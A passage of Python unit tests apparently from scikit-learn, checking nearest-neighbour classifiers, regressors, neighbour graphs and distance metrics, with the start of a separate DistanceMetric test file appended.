    radius = 0.1

    z1 = np.array([[1.01, 1.01], [2.0, 2.0]])
    correct_labels1 = np.array([1, 2])

    weight_func = _weight_func

    for algorithm in ALGORITHMS:
        for weights in ['uniform', 'distance', weight_func]:
            clf = neighbors.RadiusNeighborsClassifier(radius=radius,
                                                      weights=weights,
                                                      algorithm=algorithm)
            clf.fit(X, y)
            assert_array_equal(correct_labels1, clf.predict(z1))


def test_neighbors_regressors_zero_distance():
    # Test radius-based regressor, when distance to a sample is zero.

    X = np.array([[1.0, 1.0], [1.0, 1.0], [2.0, 2.0], [2.5, 2.5]])
    y = np.array([1.0, 1.5, 2.0, 0.0])
    radius = 0.2
    z = np.array([[1.1, 1.1], [2.0, 2.0]])

    rnn_correct_labels = np.array([1.25, 2.0])

    knn_correct_unif = np.array([1.25, 1.0])
    knn_correct_dist = np.array([1.25, 2.0])

    for algorithm in ALGORITHMS:
        # we don't test for weights=_weight_func since user will be expected
        # to handle zero distances themselves in the function.
        for weights in ['uniform', 'distance']:
            rnn = neighbors.RadiusNeighborsRegressor(radius=radius,
                                                     weights=weights,
                                                     algorithm=algorithm)
            rnn.fit(X, y)
            assert_array_almost_equal(rnn_correct_labels, rnn.predict(z))

        for weights, corr_labels in zip(['uniform', 'distance'],
                                        [knn_correct_unif, knn_correct_dist]):
            knn = neighbors.KNeighborsRegressor(n_neighbors=2,
                                                weights=weights,
                                                algorithm=algorithm)
            knn.fit(X, y)
            assert_array_almost_equal(corr_labels, knn.predict(z))


def test_radius_neighbors_boundary_handling():
    """Test whether points lying on boundary are handled consistently

    Also ensures that even with only one query point, an object array
    is returned rather than a 2d array.
    """

    X = np.array([[1.5], [3.0], [3.01]])
    radius = 3.0

    for algorithm in ALGORITHMS:
        nbrs = neighbors.NearestNeighbors(radius=radius,
                                          algorithm=algorithm).fit(X)
        results = nbrs.radius_neighbors([[0.0]], return_distance=False)
        assert_equal(results.shape, (1,))
        assert_equal(results.dtype, object)
        assert_array_equal(results[0], [0, 1])


def test_RadiusNeighborsClassifier_multioutput():
    # Test k-NN classifier on multioutput data
    rng = check_random_state(0)
    n_features = 2
    n_samples = 40
    n_output = 3

    X = rng.rand(n_samples, n_features)
    y = rng.randint(0, 3, (n_samples, n_output))

    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)

    weights = [None, 'uniform', 'distance', _weight_func]

    for algorithm, weights in product(ALGORITHMS, weights):
        # Stack single output prediction
        y_pred_so = []
        for o in range(n_output):
            rnn = neighbors.RadiusNeighborsClassifier(weights=weights,
                                                      algorithm=algorithm)
            rnn.fit(X_train, y_train[:, o])
            y_pred_so.append(rnn.predict(X_test))

        y_pred_so = np.vstack(y_pred_so).T
        assert_equal(y_pred_so.shape, y_test.shape)

        # Multioutput prediction
        rnn_mo = neighbors.RadiusNeighborsClassifier(weights=weights,
                                                     algorithm=algorithm)
        rnn_mo.fit(X_train, y_train)
        y_pred_mo = rnn_mo.predict(X_test)

        assert_equal(y_pred_mo.shape, y_test.shape)
        assert_array_almost_equal(y_pred_mo, y_pred_so)


def test_kneighbors_classifier_sparse(n_samples=40,
                                      n_features=5,
                                      n_test_pts=10,
                                      n_neighbors=5,
                                      random_state=0):
    # Test k-NN classifier on sparse matrices
    # Like the above, but with various types of sparse matrices
    rng = np.random.RandomState(random_state)
    X = 2 * rng.rand(n_samples, n_features) - 1
    X *= X > .2
    y = ((X ** 2).sum(axis=1) < .5).astype(np.int)

    for sparsemat in SPARSE_TYPES:
        knn = neighbors.KNeighborsClassifier(n_neighbors=n_neighbors,
                                             algorithm='auto')
        knn.fit(sparsemat(X), y)
        epsilon = 1e-5 * (2 * rng.rand(1, n_features) - 1)
        for sparsev in SPARSE_TYPES + (np.asarray,):
            X_eps = sparsev(X[:n_test_pts] + epsilon)
            y_pred = knn.predict(X_eps)
            assert_array_equal(y_pred, y[:n_test_pts])


def test_KNeighborsClassifier_multioutput():
    # Test k-NN classifier on multioutput data
    rng = check_random_state(0)
    n_features = 5
    n_samples = 50
    n_output = 3

    X = rng.rand(n_samples, n_features)
    y = rng.randint(0, 3, (n_samples, n_output))

    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)

    weights = [None, 'uniform', 'distance', _weight_func]

    for algorithm, weights in product(ALGORITHMS, weights):
        # Stack single output prediction
        y_pred_so = []
        y_pred_proba_so = []
        for o in range(n_output):
            knn = neighbors.KNeighborsClassifier(weights=weights,
                                                 algorithm=algorithm)
            knn.fit(X_train, y_train[:, o])
            y_pred_so.append(knn.predict(X_test))
            y_pred_proba_so.append(knn.predict_proba(X_test))

        y_pred_so = np.vstack(y_pred_so).T
        assert_equal(y_pred_so.shape, y_test.shape)
        assert_equal(len(y_pred_proba_so), n_output)

        # Multioutput prediction
        knn_mo = neighbors.KNeighborsClassifier(weights=weights,
                                                algorithm=algorithm)
        knn_mo.fit(X_train, y_train)
        y_pred_mo = knn_mo.predict(X_test)

        assert_equal(y_pred_mo.shape, y_test.shape)
        assert_array_almost_equal(y_pred_mo, y_pred_so)

        # Check proba
        y_pred_proba_mo = knn_mo.predict_proba(X_test)
        assert_equal(len(y_pred_proba_mo), n_output)

        for proba_mo, proba_so in zip(y_pred_proba_mo, y_pred_proba_so):
            assert_array_almost_equal(proba_mo, proba_so)


def test_kneighbors_regressor(n_samples=40,
                              n_features=5,
                              n_test_pts=10,
                              n_neighbors=3,
                              random_state=0):
    # Test k-neighbors regression
    rng = np.random.RandomState(random_state)
    X = 2 * rng.rand(n_samples, n_features) - 1
    y = np.sqrt((X ** 2).sum(1))
    y /= y.max()

    y_target = y[:n_test_pts]

    weight_func = _weight_func

    for algorithm in ALGORITHMS:
        for weights in ['uniform', 'distance', weight_func]:
            knn = neighbors.KNeighborsRegressor(n_neighbors=n_neighbors,
                                                weights=weights,
                                                algorithm=algorithm)
            knn.fit(X, y)
            epsilon = 1E-5 * (2 * rng.rand(1, n_features) - 1)
            y_pred = knn.predict(X[:n_test_pts] + epsilon)
            assert_true(np.all(abs(y_pred - y_target) < 0.3))


def test_KNeighborsRegressor_multioutput_uniform_weight():
    # Test k-neighbors in multi-output regression with uniform weight
    rng = check_random_state(0)
    n_features = 5
    n_samples = 40
    n_output = 4

    X = rng.rand(n_samples, n_features)
    y = rng.rand(n_samples, n_output)

    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)
    for algorithm, weights in product(ALGORITHMS, [None, 'uniform']):
        knn = neighbors.KNeighborsRegressor(weights=weights,
                                            algorithm=algorithm)
        knn.fit(X_train, y_train)

        neigh_idx = knn.kneighbors(X_test, return_distance=False)
        y_pred_idx = np.array([np.mean(y_train[idx], axis=0)
                               for idx in neigh_idx])

        y_pred = knn.predict(X_test)

        assert_equal(y_pred.shape, y_test.shape)
        assert_equal(y_pred_idx.shape, y_test.shape)
        assert_array_almost_equal(y_pred, y_pred_idx)


def test_kneighbors_regressor_multioutput(n_samples=40,
                                          n_features=5,
                                          n_test_pts=10,
                                          n_neighbors=3,
                                          random_state=0):
    # Test k-neighbors in multi-output regression
    rng = np.random.RandomState(random_state)
    X = 2 * rng.rand(n_samples, n_features) - 1
    y = np.sqrt((X ** 2).sum(1))
    y /= y.max()
    y = np.vstack([y, y]).T

    y_target = y[:n_test_pts]

    weights = ['uniform', 'distance', _weight_func]
    for algorithm, weights in product(ALGORITHMS, weights):
        knn = neighbors.KNeighborsRegressor(n_neighbors=n_neighbors,
                                            weights=weights,
                                            algorithm=algorithm)
        knn.fit(X, y)
        epsilon = 1E-5 * (2 * rng.rand(1, n_features) - 1)
        y_pred = knn.predict(X[:n_test_pts] + epsilon)
        assert_equal(y_pred.shape, y_target.shape)

        assert_true(np.all(np.abs(y_pred - y_target) < 0.3))


def test_radius_neighbors_regressor(n_samples=40,
                                    n_features=3,
                                    n_test_pts=10,
                                    radius=0.5,
                                    random_state=0):
    # Test radius-based neighbors regression
    rng = np.random.RandomState(random_state)
    X = 2 * rng.rand(n_samples, n_features) - 1
    y = np.sqrt((X ** 2).sum(1))
    y /= y.max()

    y_target = y[:n_test_pts]

    weight_func = _weight_func

    for algorithm in ALGORITHMS:
        for weights in ['uniform', 'distance', weight_func]:
            neigh = neighbors.RadiusNeighborsRegressor(radius=radius,
                                                       weights=weights,
                                                       algorithm=algorithm)
            neigh.fit(X, y)
            epsilon = 1E-5 * (2 * rng.rand(1, n_features) - 1)
            y_pred = neigh.predict(X[:n_test_pts] + epsilon)
            assert_true(np.all(abs(y_pred - y_target) < radius / 2))


def test_RadiusNeighborsRegressor_multioutput_with_uniform_weight():
    # Test radius neighbors in multi-output regression (uniform weight)

    rng = check_random_state(0)
    n_features = 5
    n_samples = 40
    n_output = 4

    X = rng.rand(n_samples, n_features)
    y = rng.rand(n_samples, n_output)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)

    for algorithm, weights in product(ALGORITHMS, [None, 'uniform']):

        rnn = neighbors. RadiusNeighborsRegressor(weights=weights,
                                                  algorithm=algorithm)
        rnn.fit(X_train, y_train)

        neigh_idx = rnn.radius_neighbors(X_test, return_distance=False)
        y_pred_idx = np.array([np.mean(y_train[idx], axis=0)
                               for idx in neigh_idx])

        y_pred_idx = np.array(y_pred_idx)
        y_pred = rnn.predict(X_test)

        assert_equal(y_pred_idx.shape, y_test.shape)
        assert_equal(y_pred.shape, y_test.shape)
        assert_array_almost_equal(y_pred, y_pred_idx)


def test_RadiusNeighborsRegressor_multioutput(n_samples=40,
                                              n_features=5,
                                              n_test_pts=10,
                                              n_neighbors=3,
                                              random_state=0):
    # Test k-neighbors in multi-output regression with various weight
    rng = np.random.RandomState(random_state)
    X = 2 * rng.rand(n_samples, n_features) - 1
    y = np.sqrt((X ** 2).sum(1))
    y /= y.max()
    y = np.vstack([y, y]).T

    y_target = y[:n_test_pts]
    weights = ['uniform', 'distance', _weight_func]

    for algorithm, weights in product(ALGORITHMS, weights):
        rnn = neighbors.RadiusNeighborsRegressor(n_neighbors=n_neighbors,
                                                 weights=weights,
                                                 algorithm=algorithm)
        rnn.fit(X, y)
        epsilon = 1E-5 * (2 * rng.rand(1, n_features) - 1)
        y_pred = rnn.predict(X[:n_test_pts] + epsilon)

        assert_equal(y_pred.shape, y_target.shape)
        assert_true(np.all(np.abs(y_pred - y_target) < 0.3))


def test_kneighbors_regressor_sparse(n_samples=40,
                                     n_features=5,
                                     n_test_pts=10,
                                     n_neighbors=5,
                                     random_state=0):
    # Test radius-based regression on sparse matrices
    # Like the above, but with various types of sparse matrices
    rng = np.random.RandomState(random_state)
    X = 2 * rng.rand(n_samples, n_features) - 1
    y = ((X ** 2).sum(axis=1) < .25).astype(np.int)

    for sparsemat in SPARSE_TYPES:
        knn = neighbors.KNeighborsRegressor(n_neighbors=n_neighbors,
                                            algorithm='auto')
        knn.fit(sparsemat(X), y)
        for sparsev in SPARSE_OR_DENSE:
            X2 = sparsev(X)
            assert_true(np.mean(knn.predict(X2).round() == y) > 0.95)


def test_neighbors_iris():
    # Sanity checks on the iris dataset
    # Puts three points of each label in the plane and performs a
    # nearest neighbor query on points near the decision boundary.

    for algorithm in ALGORITHMS:
        clf = neighbors.KNeighborsClassifier(n_neighbors=1,
                                             algorithm=algorithm)
        clf.fit(iris.data, iris.target)
        assert_array_equal(clf.predict(iris.data), iris.target)

        clf.set_params(n_neighbors=9, algorithm=algorithm)
        clf.fit(iris.data, iris.target)
        assert_true(np.mean(clf.predict(iris.data) == iris.target) > 0.95)

        rgs = neighbors.KNeighborsRegressor(n_neighbors=5, algorithm=algorithm)
        rgs.fit(iris.data, iris.target)
        assert_greater(np.mean(rgs.predict(iris.data).round() == iris.target),
                       0.95)


def test_neighbors_digits():
    # Sanity check on the digits dataset
    # the 'brute' algorithm has been observed to fail if the input
    # dtype is uint8 due to overflow in distance calculations.

    X = digits.data.astype('uint8')
    Y = digits.target
    (n_samples, n_features) = X.shape
    train_test_boundary = int(n_samples * 0.8)
    train = np.arange(0, train_test_boundary)
    test = np.arange(train_test_boundary, n_samples)
    (X_train, Y_train, X_test, Y_test) = X[train], Y[train], X[test], Y[test]

    clf = neighbors.KNeighborsClassifier(n_neighbors=1, algorithm='brute')
    score_uint8 = clf.fit(X_train, Y_train).score(X_test, Y_test)
    score_float = clf.fit(X_train.astype(float), Y_train).score(
        X_test.astype(float), Y_test)
    assert_equal(score_uint8, score_float)


def test_kneighbors_graph():
    # Test kneighbors_graph to build the k-Nearest Neighbor graph.
    X = np.array([[0, 1], [1.01, 1.], [2, 0]])

    # n_neighbors = 1
    A = neighbors.kneighbors_graph(X, 1, mode='connectivity',
                                   include_self=True)
    assert_array_equal(A.toarray(), np.eye(A.shape[0]))

    A = neighbors.kneighbors_graph(X, 1, mode='distance')
    assert_array_almost_equal(
        A.toarray(),
        [[0.00, 1.01, 0.],
         [1.01, 0., 0.],
         [0.00, 1.40716026, 0.]])

    # n_neighbors = 2
    A = neighbors.kneighbors_graph(X, 2, mode='connectivity',
                                   include_self=True)
    assert_array_equal(
        A.toarray(),
        [[1., 1., 0.],
         [1., 1., 0.],
         [0., 1., 1.]])

    A = neighbors.kneighbors_graph(X, 2, mode='distance')
    assert_array_almost_equal(
        A.toarray(),
        [[0., 1.01, 2.23606798],
         [1.01, 0., 1.40716026],
         [2.23606798, 1.40716026, 0.]])

    # n_neighbors = 3
    A = neighbors.kneighbors_graph(X, 3, mode='connectivity',
                                   include_self=True)
    assert_array_almost_equal(
        A.toarray(),
        [[1, 1, 1], [1, 1, 1], [1, 1, 1]])


def test_kneighbors_graph_sparse(seed=36):
    # Test kneighbors_graph to build the k-Nearest Neighbor graph
    # for sparse input.
    rng = np.random.RandomState(seed)
    X = rng.randn(10, 10)
    Xcsr = csr_matrix(X)

    for n_neighbors in [1, 2, 3]:
        for mode in ["connectivity", "distance"]:
            assert_array_almost_equal(
                neighbors.kneighbors_graph(X,
                                           n_neighbors,
                                           mode=mode).toarray(),
                neighbors.kneighbors_graph(Xcsr,
                                           n_neighbors,
                                           mode=mode).toarray())


def test_radius_neighbors_graph():
    # Test radius_neighbors_graph to build the Nearest Neighbor graph.
    X = np.array([[0, 1], [1.01, 1.], [2, 0]])

    A = neighbors.radius_neighbors_graph(X, 1.5, mode='connectivity',
                                         include_self=True)
    assert_array_equal(
        A.toarray(),
        [[1., 1., 0.],
         [1., 1., 1.],
         [0., 1., 1.]])

    A = neighbors.radius_neighbors_graph(X, 1.5, mode='distance')
    assert_array_almost_equal(
        A.toarray(),
        [[0., 1.01, 0.],
         [1.01, 0., 1.40716026],
         [0., 1.40716026, 0.]])


def test_radius_neighbors_graph_sparse(seed=36):
    # Test radius_neighbors_graph to build the Nearest Neighbor graph
    # for sparse input.
    rng = np.random.RandomState(seed)
    X = rng.randn(10, 10)
    Xcsr = csr_matrix(X)

    for n_neighbors in [1, 2, 3]:
        for mode in ["connectivity", "distance"]:
            assert_array_almost_equal(
                neighbors.radius_neighbors_graph(X,
                                                 n_neighbors,
                                                 mode=mode).toarray(),
                neighbors.radius_neighbors_graph(Xcsr,
                                                 n_neighbors,
                                                 mode=mode).toarray())


def test_neighbors_badargs():
    # Test bad argument values: these should all raise ValueErrors
    assert_raises(ValueError,
                  neighbors.NearestNeighbors,
                  algorithm='blah')

    X = rng.random_sample((10, 2))
    Xsparse = csr_matrix(X)
    y = np.ones(10)

    for cls in (neighbors.KNeighborsClassifier,
                neighbors.RadiusNeighborsClassifier,
                neighbors.KNeighborsRegressor,
                neighbors.RadiusNeighborsRegressor):
        assert_raises(ValueError,
                      cls,
                      weights='blah')
        assert_raises(ValueError,
                      cls, p=-1)
        assert_raises(ValueError,
                      cls, algorithm='blah')
        nbrs = cls(algorithm='ball_tree', metric='haversine')
        assert_raises(ValueError,
                      nbrs.predict,
                      X)
        assert_raises(ValueError,
                      ignore_warnings(nbrs.fit),
                      Xsparse, y)
        nbrs = cls()
        assert_raises(ValueError,
                      nbrs.fit,
                      np.ones((0, 2)), np.ones(0))
        assert_raises(ValueError,
                      nbrs.fit,
                      X[:, :, None], y)
        nbrs.fit(X, y)
        assert_raises(ValueError,
                      nbrs.predict,
                      [[]])
        if (isinstance(cls, neighbors.KNeighborsClassifier) or
                isinstance(cls, neighbors.KNeighborsRegressor)):
            nbrs = cls(n_neighbors=-1)
            assert_raises(ValueError, nbrs.fit, X, y)

    nbrs = neighbors.NearestNeighbors().fit(X)

    assert_raises(ValueError, nbrs.kneighbors_graph, X, mode='blah')
    assert_raises(ValueError, nbrs.radius_neighbors_graph, X, mode='blah')


def test_neighbors_metrics(n_samples=20, n_features=3,
                           n_query_pts=2, n_neighbors=5):
    # Test computing the neighbors for various metrics
    # create a symmetric matrix
    V = rng.rand(n_features, n_features)
    VI = np.dot(V, V.T)

    metrics = [('euclidean', {}),
               ('manhattan', {}),
               ('minkowski', dict(p=1)),
               ('minkowski', dict(p=2)),
               ('minkowski', dict(p=3)),
               ('minkowski', dict(p=np.inf)),
               ('chebyshev', {}),
               ('seuclidean', dict(V=rng.rand(n_features))),
               ('wminkowski', dict(p=3, w=rng.rand(n_features))),
               ('mahalanobis', dict(VI=VI))]
    algorithms = ['brute', 'ball_tree', 'kd_tree']
    X = rng.rand(n_samples, n_features)

    test = rng.rand(n_query_pts, n_features)

    for metric, metric_params in metrics:
        results = []
        p = metric_params.pop('p', 2)
        for algorithm in algorithms:
            # KD tree doesn't support all metrics
            if (algorithm == 'kd_tree' and
                    metric not in neighbors.KDTree.valid_metrics):
                assert_raises(ValueError,
                              neighbors.NearestNeighbors,
                              algorithm=algorithm,
                              metric=metric, metric_params=metric_params)
                continue

            neigh = neighbors.NearestNeighbors(n_neighbors=n_neighbors,
                                               algorithm=algorithm,
                                               metric=metric, p=p,
                                               metric_params=metric_params)
            neigh.fit(X)
            results.append(neigh.kneighbors(test, return_distance=True))

        assert_array_almost_equal(results[0][0], results[1][0])
        assert_array_almost_equal(results[0][1], results[1][1])


def test_callable_metric():

    def custom_metric(x1, x2):
        return np.sqrt(np.sum(x1 ** 2 + x2 ** 2))

    X = np.random.RandomState(42).rand(20, 2)
    nbrs1 = neighbors.NearestNeighbors(3, algorithm='auto',
                                       metric=custom_metric)
    nbrs2 = neighbors.NearestNeighbors(3, algorithm='brute',
                                       metric=custom_metric)

    nbrs1.fit(X)
    nbrs2.fit(X)

    dist1, ind1 = nbrs1.kneighbors(X)
    dist2, ind2 = nbrs2.kneighbors(X)

    assert_array_almost_equal(dist1, dist2)


def test_metric_params_interface():
    assert_warns(SyntaxWarning, neighbors.KNeighborsClassifier,
                 metric_params={'p': 3})


def test_predict_sparse_ball_kd_tree():
    rng = np.random.RandomState(0)
    X = rng.rand(5, 5)
    y = rng.randint(0, 2, 5)
    nbrs1 = neighbors.KNeighborsClassifier(1, algorithm='kd_tree')
    nbrs2 = neighbors.KNeighborsRegressor(1, algorithm='ball_tree')
    for model in [nbrs1, nbrs2]:
        model.fit(X, y)
        assert_raises(ValueError, model.predict, csr_matrix(X))


def test_non_euclidean_kneighbors():
    rng = np.random.RandomState(0)
    X = rng.rand(5, 5)

    # Find a reasonable radius.
    dist_array = pairwise_distances(X).flatten()
    np.sort(dist_array)
    radius = dist_array[15]

    # Test kneighbors_graph
    for metric in ['manhattan', 'chebyshev']:
        nbrs_graph = neighbors.kneighbors_graph(
            X, 3, metric=metric, mode='connectivity',
            include_self=True).toarray()
        nbrs1 = neighbors.NearestNeighbors(3, metric=metric).fit(X)
        assert_array_equal(nbrs_graph, nbrs1.kneighbors_graph(X).toarray())

    # Test radiusneighbors_graph
    for metric in ['manhattan', 'chebyshev']:
        nbrs_graph = neighbors.radius_neighbors_graph(
            X, radius, metric=metric, mode='connectivity',
            include_self=True).toarray()
        nbrs1 = neighbors.NearestNeighbors(metric=metric, radius=radius).fit(X)
        assert_array_equal(nbrs_graph, nbrs1.radius_neighbors_graph(X).A)

    # Raise error when wrong parameters are supplied,
    X_nbrs = neighbors.NearestNeighbors(3, metric='manhattan')
    X_nbrs.fit(X)
    assert_raises(ValueError, neighbors.kneighbors_graph, X_nbrs, 3,
                  metric='euclidean')
    X_nbrs = neighbors.NearestNeighbors(radius=radius, metric='manhattan')
    X_nbrs.fit(X)
    assert_raises(ValueError, neighbors.radius_neighbors_graph, X_nbrs,
                  radius, metric='euclidean')


def check_object_arrays(nparray, list_check):
    for ind, ele in enumerate(nparray):
        assert_array_equal(ele, list_check[ind])


def test_k_and_radius_neighbors_train_is_not_query():
    # Test kneighbors et.al when query is not training data

    for algorithm in ALGORITHMS:

        nn = neighbors.NearestNeighbors(n_neighbors=1, algorithm=algorithm)

        X = [[0], [1]]
        nn.fit(X)
        test_data = [[2], [1]]

        # Test neighbors.
        dist, ind = nn.kneighbors(test_data)
        assert_array_equal(dist, [[1], [0]])
        assert_array_equal(ind, [[1], [1]])
        dist, ind = nn.radius_neighbors([[2], [1]], radius=1.5)
        check_object_arrays(dist, [[1], [1, 0]])
        check_object_arrays(ind, [[1], [0, 1]])

        # Test the graph variants.
        assert_array_equal(
            nn.kneighbors_graph(test_data).A, [[0., 1.], [0., 1.]])
        assert_array_equal(
            nn.kneighbors_graph([[2], [1]], mode='distance').A,
            np.array([[0., 1.], [0., 0.]]))
        rng = nn.radius_neighbors_graph([[2], [1]], radius=1.5)
        assert_array_equal(rng.A, [[0, 1], [1, 1]])


def test_k_and_radius_neighbors_X_None():
    # Test kneighbors et.al when query is None
    for algorithm in ALGORITHMS:

        nn = neighbors.NearestNeighbors(n_neighbors=1, algorithm=algorithm)

        X = [[0], [1]]
        nn.fit(X)

        dist, ind = nn.kneighbors()
        assert_array_equal(dist, [[1], [1]])
        assert_array_equal(ind, [[1], [0]])
        dist, ind = nn.radius_neighbors(None, radius=1.5)
        check_object_arrays(dist, [[1], [1]])
        check_object_arrays(ind, [[1], [0]])

        # Test the graph variants.
        rng = nn.radius_neighbors_graph(None, radius=1.5)
        kng = nn.kneighbors_graph(None)
        for graph in [rng, kng]:
            assert_array_equal(rng.A, [[0, 1], [1, 0]])
            assert_array_equal(rng.data, [1, 1])
            assert_array_equal(rng.indices, [1, 0])

        X = [[0, 1], [0, 1], [1, 1]]
        nn = neighbors.NearestNeighbors(n_neighbors=2, algorithm=algorithm)
        nn.fit(X)
        assert_array_equal(
            nn.kneighbors_graph().A,
            np.array([[0., 1., 1.], [1., 0., 1.], [1., 1., 0]]))


def test_k_and_radius_neighbors_duplicates():
    # Test behavior of kneighbors when duplicates are present in query

    for algorithm in ALGORITHMS:
        nn = neighbors.NearestNeighbors(n_neighbors=1, algorithm=algorithm)
        nn.fit([[0], [1]])

        # Do not do anything special to duplicates.
        kng = nn.kneighbors_graph([[0], [1]], mode='distance')
        assert_array_equal(
            kng.A,
            np.array([[0., 0.], [0., 0.]]))
        assert_array_equal(kng.data, [0., 0.])
        assert_array_equal(kng.indices, [0, 1])

        dist, ind = nn.radius_neighbors([[0], [1]], radius=1.5)
        check_object_arrays(dist, [[0, 1], [1, 0]])
        check_object_arrays(ind, [[0, 1], [0, 1]])

        rng = nn.radius_neighbors_graph([[0], [1]], radius=1.5)
        assert_array_equal(rng.A, np.ones((2, 2)))

        rng = nn.radius_neighbors_graph([[0], [1]], radius=1.5,
                                        mode='distance')
        assert_array_equal(rng.A, [[0, 1], [1, 0]])
        assert_array_equal(rng.indices, [0, 1, 0, 1])
        assert_array_equal(rng.data, [0, 1, 1, 0])

        # Mask the first duplicates when n_duplicates > n_neighbors.
        X = np.ones((3, 1))
        nn = neighbors.NearestNeighbors(n_neighbors=1)
        nn.fit(X)
        dist, ind = nn.kneighbors()
        assert_array_equal(dist, np.zeros((3, 1)))
        assert_array_equal(ind, [[1], [0], [1]])

        # Test that zeros are explicitly marked in kneighbors_graph.
        kng = nn.kneighbors_graph(mode='distance')
        assert_array_equal(
            kng.A, np.zeros((3, 3)))
        assert_array_equal(kng.data, np.zeros(3))
        assert_array_equal(kng.indices, [1., 0., 1.])
        assert_array_equal(
            nn.kneighbors_graph().A,
            np.array([[0., 1., 0.], [1., 0., 0.], [0., 1., 0.]]))


def test_include_self_neighbors_graph():
    # Test include_self parameter in neighbors_graph
    X = [[2, 3], [4, 5]]
    kng = neighbors.kneighbors_graph(X, 1, include_self=True).A
    kng_not_self = neighbors.kneighbors_graph(X, 1, include_self=False).A
    assert_array_equal(kng, [[1., 0.], [0., 1.]])
    assert_array_equal(kng_not_self, [[0., 1.], [1., 0.]])

    rng = neighbors.radius_neighbors_graph(X, 5.0, include_self=True).A
    rng_not_self = neighbors.radius_neighbors_graph(
        X, 5.0, include_self=False).A
    assert_array_equal(rng, [[1., 1.], [1., 1.]])
    assert_array_equal(rng_not_self, [[0., 1.], [1., 0.]])


def test_same_knn_parallel():
    X, y = datasets.make_classification(n_samples=30, n_features=5,
                                        n_redundant=0, random_state=0)
    X_train, X_test, y_train, y_test = train_test_split(X, y)

    def check_same_knn_parallel(algorithm):
        clf = neighbors.KNeighborsClassifier(n_neighbors=3,
                                             algorithm=algorithm)
        clf.fit(X_train, y_train)
        y = clf.predict(X_test)
        dist, ind = clf.kneighbors(X_test)
        graph = clf.kneighbors_graph(X_test, mode='distance').toarray()

        clf.set_params(n_jobs=3)
        clf.fit(X_train, y_train)
        y_parallel = clf.predict(X_test)
        dist_parallel, ind_parallel = clf.kneighbors(X_test)
        graph_parallel = \
            clf.kneighbors_graph(X_test, mode='distance').toarray()

        assert_array_equal(y, y_parallel)
        assert_array_almost_equal(dist, dist_parallel)
        assert_array_equal(ind, ind_parallel)
        assert_array_almost_equal(graph, graph_parallel)

    for algorithm in ALGORITHMS:
        yield check_same_knn_parallel, algorithm


def test_dtype_convert():
    classifier = neighbors.KNeighborsClassifier(n_neighbors=1)
    CLASSES = 15
    X = np.eye(CLASSES)
    y = [ch for ch in 'ABCDEFGHIJKLMNOPQRSTU'[:CLASSES]]

    result = classifier.fit(X, y).predict(X)
    assert_array_equal(result, y)


# ignore conversion to boolean in pairwise_distances
@ignore_warnings(category=DataConversionWarning)
def test_pairwise_boolean_distance():
    # Non-regression test for #4523
    # 'brute': uses scipy.spatial.distance through pairwise_distances
    # 'ball_tree': uses sklearn.neighbors.dist_metrics
    rng = np.random.RandomState(0)
    X = rng.uniform(size=(6, 5))
    NN = neighbors.NearestNeighbors

    nn1 = NN(metric="jaccard", algorithm='brute').fit(X)
    nn2 = NN(metric="jaccard", algorithm='ball_tree').fit(X)
    assert_array_equal(nn1.kneighbors(X)[0], nn2.kneighbors(X)[0])






import itertools
import pickle

import numpy as np
from numpy.testing import assert_array_almost_equal

import scipy
from scipy.spatial.distance import cdist
from sklearn.neighbors.dist_metrics import DistanceMetric
from nose import SkipTest


def dist_func(x1, x2, p):
    return np.sum((x1 - x2) ** p) ** (1. / p)


def cmp_version(version1, version2):
    version1 = tuple(map(int, version1.split('.')[:2]))
    version2 = tuple(map(int, version2.split('.')[:2]))

    if version1 < version2:
        return -1
    elif version1 > version2:
        return 1
    else:
        return 0


class TestMetrics:
    def __init__(self, n1=20, n2=25, d=4, zero_frac=0.5,
                 rseed=0, dtype=np.float64):
        np.random.seed(rseed)
        self.X1 = np.random.random((n1, d)).astype(dtype)
        self.X2 = np.random.random((n2, d)).astype(dtype)

        # make boolean arrays: ones and zeros
        self.X1_bool = self.X1.round(0)
        self.X2_bool = self.X2.round(0)

        V = np.random.random((d, d))
        VI = np.dot(V, V.T)

        self.metrics = {'euclidean': {},
                        'cityblock': {},
                        'minkowski': dict(p=(1, 1.5, 2, 3)),
                        'chebyshev': {},
                        'seuclidean': dict(V=(np.random.random(d),)),
                        'wminkowski': dict(p=(1, 1.5, 3),
                                           w=(np.random.random(d),)),
                        'mahalanobis': dict(VI=(VI,)),
                        'hamming': {},
                        'canberra': {},
                        'braycurtis': {}}

        self.bool_metrics = ['matching', 'jaccard', 'dice',
                             'kulsinski', 'rogerstanimoto', 'russellrao',
                             'sokalmichener', 'sokalsneath']

    def test_cdist(self):
        for metric, argdict in self.metrics.items():
            keys = argdict.keys()
            for vals in itertools.product(*argdict.values()):
                kwargs = dict(zip(keys, vals))
                D_true = cdist(self.X1, self.X2, metric, **kwargs)
                yield self.check_cdist, metric, kwargs, D_true

        for metric in self.bool_metrics:
            D_true = cdist(self.X1_bool, self.X2_bool, metric)
            yield self.check_cdist_bool, metric, D_true

    def check_cdist(self, metric, kwargs, D_true):
        if metric == 'canberra' and cmp_version(scipy.__version__, '0.9') <= 0:
            raise SkipTest("Canberra distance incorrect in scipy < 0.9")
        dm = DistanceMetric.get_metric(metric, **kwargs)
        D12 = dm.pairwise(self.X1, self.X2)
        assert_array_almost_equal(D12, D_true)

    def check_cdist_bool(self, metric, D_true):
        dm = DistanceMetric.get_metric(metric)
        D12 = dm.pairwise(self.X1_bool, self.X2_bool)
        assert_array_almost_equal(D12, D_true)

    def test_pdist(self):
        for metric, argdict in self.metrics.items():
            keys = argdict.keys()
            for vals in itertools.product(*argdict.values()):
                kwargs = dict(zip(keys, vals))
                D_true = cdist(self.X1, self.X1, metric, **kwargs)
                yield self.check_pdist, metric, kwargs, D_true

        for metric in self.bool_metrics:
            D_true = cdist(self.X1_bool, self.X1_bool, metric)
            yield self.check_pdist_bool, metric, D_true

    def check_pdist(self, metric, kwargs, D_true):
        if metric == 'canberra' and cmp_version(scipy.__version__, '0.9') <= 0:
            raise SkipTest("Canberra distance incorrect in scipy < 0.9")
        dm = DistanceMetric.get_metric(metric, **kwargs)
        D12 = dm.pairwise(self.X1)
        assert_array_almost_equal(D12, D_true)

    def check_pdist_bool(self, metric, D_true):
        dm = DistanceMetric.get_metric(metric)
        D12 = dm.pairwise(self.X1_bool)
        assert_array_almost_equal(D12, D_true)

    def test_pickle(self):
        for metric, argdict in self.metrics.items():
            keys = argdict.keys()
            for vals in itertools.product(*argdict.values()):
